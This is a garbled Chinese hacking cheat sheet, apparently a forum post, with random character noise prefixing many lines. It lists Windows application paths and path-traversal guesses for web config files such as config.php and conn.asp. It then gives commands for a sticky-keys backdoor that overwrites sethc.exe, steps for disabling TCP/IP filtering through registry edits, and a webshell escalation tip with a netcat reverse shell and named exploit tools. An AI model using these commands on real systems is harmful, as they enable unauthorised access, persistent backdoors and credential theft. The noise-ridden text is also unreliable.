$ \/ {" G8 u1 {# ]C:\Program Files\LeapFTP 3.0\LeapFTP.exe
" g* P* t. D9 s& _. J. O1 QC:\Program Files\LeapFTP\LeapFTP.exe
  E: a2 K6 K# Oc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
: W6 q# G# N9 p' pc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
9 k2 ~' b' }3 J9 y* o( j, J* o  SC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
; q$ s0 _5 y6 C3 X6 \c:\Program Files\tencent\QQGAME\readme.txt
3 m  \  u' ?3 [! o0 [2 {, M7 KC:\Program Files\StormII\Storm.exe

, J1 r- x: A# F3.网站相对路径:

" W+ e* N! b9 O4 q+ ~/config.php
../../config.php
../config.php
' ?* G; e( B5 I* p' z/ l../../../config.php
& Z7 d# _8 _7 ^. ?4 i/config.inc.php
% a8 i) o6 y1 y; x- @% l- h8 y./config.inc.php
8 V8 h2 R0 U5 K; V% A$ v6 k../../config.inc.php
% @+ D8 y2 A% @# _../config.inc.php
1 V2 ]- Q. d# F, t  W# ~../../../config.inc.php
, N8 j0 }$ r6 v1 J  ~9 ?/conn.php
: L6 u# G1 @8 x" f! y./conn.php
../../conn.php
! \+ P4 y/ d- Z8 Z: }* q  v$ J../conn.php
../../../conn.php
/conn.asp
& s" ?7 d+ C1 H0 g. ]0 P./conn.asp
7 n( o: J6 T6 Q  D5 \../../conn.asp
../conn.asp
+ `/ j' T8 J/ B; W( X& l2 x../../../conn.asp
" J/ }1 ]- I& c6 `7 o/config.inc.php
( Z. m- c6 V2 j; P8 p" L./config.inc.php
4 N/ r. N- @- `! m& W7 u8 Q../../config.inc.php
$ p! {, V+ h" I3 z. r8 a. a../config.inc.php
1 u2 n2 {9 ^# E../../../config.inc.php
/config/config.php
* I* I; ?& w0 m* p../../config/config.php
2 T7 z+ Q. \7 P../config/config.php
( a) o* E6 F6 w. p6 J../../../config/config.php
* Y! ]! ?  J7 J: _3 i  T/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
, U3 _( g4 t) W7 f* }../config/config.inc.php
../../../config/config.inc.php
4 H9 I8 R- U! Y; ?: u1 S/config/conn.php
$ U3 ~6 P$ `) @+ n: x( C" E; O./config/conn.php
../../config/conn.php
../config/conn.php
, b3 e: q2 v) J, }* m3 v; d../../../config/conn.php
- I5 h; _: \) d/config/conn.asp
/ F. ]6 I, A" r./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
9 i; N& U' r9 S/config/config.inc.php
./config/config.inc.php
$ F  m# C6 M4 ?8 {! z../../config/config.inc.php
../config/config.inc.php
( Y5 _: g2 v+ n& X/ D( Q../../../config/config.inc.php
7 V! C( q3 |. K' o; j/data/config.php
( U/ C5 @- Q4 k4 A% x7 F../../data/config.php
* n2 W5 w; x# z% B../data/config.php
$ C0 ~2 n( j, h: e../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
4 ?6 X2 Z( ~' ~$ C; V& ~../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
0 ~: P2 h+ U$ X4 F' A../data/conn.php
../../../data/conn.php
1 c1 b: h1 `7 ]7 ]& u6 Y# m; U/data/conn.asp
, {# C+ z; ?: t0 s./data/conn.asp
# @6 i+ b( {, v../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
2 Z4 @# a$ k0 A/data/config.inc.php
- l: m" T3 k) n) a./data/config.inc.php
8 h" Z' h7 C& Z+ M; }/ a  P( ?7 g5 V../../data/config.inc.php
../data/config.inc.php
6 t/ ]: r1 Z' _6 G+ k' F" y../../../data/config.inc.php
/include/config.php
! `+ c5 Z! w1 h! }+ F3 P../../include/config.php
../include/config.php
! G$ j4 z* G  Q* D# A../../../include/config.php
/include/config.inc.php
( A. X3 B  T" J8 S/ ^) k8 k0 t./include/config.inc.php
, a8 T- x9 K6 ~- i. x../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
& ?" T+ c' e4 d& n/include/conn.php
+ v; B/ p8 R! }: m) ^./include/conn.php
& i; A# I# W' }& K9 C, G: z../../include/conn.php
../include/conn.php
0 t% M( K$ j) J3 V  q7 H; ]../../../include/conn.php
/include/conn.asp
" Z* q3 }3 N& F2 c% d+ K./include/conn.asp
" ^6 S) s  _* {* m6 e# g3 y2 B; ~../../include/conn.asp
../include/conn.asp
) _5 v; o& T# ]0 w1 f../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
' a+ b  B0 P; U4 k9 [% d../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
8 Y/ R6 J/ r8 e9 C0 u$ D1 B../../inc/config.php
/ E& ~6 Z  H% c/ ^/ U; P+ o) \6 c0 y../inc/config.php
../../../inc/config.php
/inc/config.inc.php
: N' B8 Y  b& N& ]./inc/config.inc.php
& L& _; H% c# b& J$ ?9 f../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
8 Y. ], z  S; d8 t: n* h' `./inc/conn.php
../../inc/conn.php
../inc/conn.php
, w. s7 \. W% K../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
. K  p1 Q1 N; B../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
$ m" w9 m1 G3 X! X../inc/config.inc.php
, g! V! p7 m& X: q' Q# o% y../../../inc/config.inc.php
2 ~" {/ ]$ m% l0 h* q2 Y4 `/index.php
. c& v0 g7 ~, k% @' R! Y2 x7 }' Y./index.php
, \7 [; M8 R, t9 E6 `* x+ B../../index.php
3 c/ f' j$ V  G( ^- h../index.php
../../../index.php
, B- f) h' Q  M/ {5 z' t/index.asp
# ?* x" Y! }1 b. x, x./index.asp
2 k3 r) t/ X) q9 ]. L5 l& p../../index.asp
../index.asp
../../../index.asp
8 c5 [$ _/ k2 o( N8 r6 j5 X5 _替换SHIFT后门
. Y2 D* u. R& c2 s/ l　attrib c:\windows\system32\sethc.exe -h -r -s

) P8 l; N$ _3 ?) O, f( C) S% H　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

# F8 [+ j, W4 p/ q$ D6 _5 z　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
5 N: |# Y! `4 F( k  i! X
  K" q) U0 i: u3 ]7 G6 V　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

; B& V) h* n8 b, g, B( {* g6 X$ Y　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
0 C& z& h% |: n' @/ ~& p" |$ K去除TCPIP筛选
* L5 \9 M3 P3 D( K# ETCP/IP筛选在注册表里有三处，分别是：
2 E3 [' d7 w: _! @HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

# b& y* {% g" L& N6 K1 ]% m1 L分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
- O  a1 P8 y6 y; ?regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
5 C" d$ l# K1 lregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
) ?/ @$ I; ?( x% t+ u: O  W命令来导出注册表项

1 _- z( C1 M$ h" M# Q) `; K. n然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
+ {( l9 X( Z- e6 E: _, R/ }0 n
# \7 o1 Z: C6 a2 P% v再将以上三个文件分别用
regedit -s D:\a.reg
+ n- |/ l( I# {( X( ^( L6 ]) ^& hregedit -s D:\b.reg
9 q* A9 W  d' e( m, hregedit -s D:\c.reg
9 s, T3 Z7 W4 [) P1 ^3 A导入注册表即可

: X% q4 ]6 l7 J. J4 j' qwebshell提权小技巧
cmd路径:
5 i  ]5 C( {) G7 E7 Vc:\windows\temp\cmd.exe
. O$ G' P- x$ t( Qnc也在同目录下
, A7 F4 ~  t3 {+ `9 U3 U9 r例如反弹cmdshell：
' A2 v" J) r3 S8 z4 q# P/ e3 ~: ["c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
$ g, v) P) ^4 ^# K通常都不会成功。

6 x2 D, V$ o) v% @而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
; e, d) r5 F2 V$ e; _6 Y2 b' G. C命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
) Z. Q4 F  [) ^* z7 }1 a& v我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功